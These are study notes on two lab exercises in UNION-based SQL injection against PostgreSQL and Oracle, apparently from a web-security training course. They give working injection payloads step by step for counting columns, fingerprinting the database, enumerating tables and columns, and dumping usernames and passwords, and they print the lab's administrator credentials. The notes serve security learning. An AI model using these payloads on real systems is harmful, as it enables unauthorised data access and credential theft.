4. SQL Injection - Examining the Database - Content

Most databases have an information schema detailing tables and columns.

Listing database content on non-Oracle Databases

LAB:
Lab #9 - SQL injection attack, listing the database contents on non-Oracle databases
End Goals:
- Determine the table that contains usernames and passwords
- Determine the relevant columns
- Output the content of the table
- Login as the administrator user

Analysis:
1. Find the number of columns
' order by 3-- -> Internal server error
3 - 1 = 2

2. Find the data type of the columns
' UNION select 'a', 'a'--
-> both columns accept type text

3. Version of the database
' UNION SELECT @@version, NULL-- -> not Microsoft
' UNION SELECT version(), NULL-- -> 200 OK
PostgreSQL 11.11 (Debian 11.11-1.pgdg90+1)

4. Output the list of table names in the database
' UNION SELECT table_name, NULL FROM information_schema.tables--
//users_xacgsm
// information_schema.tables details tables
// table_name is part of information_schema.tables

5. Output the column names of the table
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_xacgsm'--
//username_pxqwui
//password_bfvoxs
// information_schema.columns details column names of the tables
// table_name is part of information_schema.tables
// column_name is part of information_schema.columns

6. Output the usernames and passwords
' UNION select username_pxqwui, password_bfvoxs from users_xacgsm--
//administrator
//9g91jpytvv5c091xpjxc
// users_xacgsm is a table with columns username_pxqwui and password_bfvoxs

Listing database content on Oracle Databases

Lab #10 - SQL injection attack, listing the database contents on Oracle
End Goals:
- Determine which table contains the usernames and passwords
- Determine the column names in table
- Output the content of the table
- Login as the administrator user

Analysis:
1) Determine the number of columns
' order by 3-- -> internal server error
3 - 1 = 2

2) Find data type of columns
' UNION select 'a', 'a' from DUAL--
-> Oracle database
-> both columns accept type text

3) Output the list of tables in the database
' UNION SELECT table_name, NULL FROM all_tables--
USERS_JYPOMG
// all_tables is like information_schema.tables
// table_name is part of all_tables

4) Output the column names of the users table
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_JYPOMG'--
//USERNAME_LDANZP
//PASSWORD_DYZWEQ
// all_tab_columns is like information_schema.columns
// table_name is part of all_tables
// column_name is part of all_tab_columns

5) Output the list of usernames/passwords
' UNION select USERNAME_LDANZP, PASSWORD_DYZWEQ from USERS_JYPOMG--
//administrator
//c30j8bn7ejg50isvbiie

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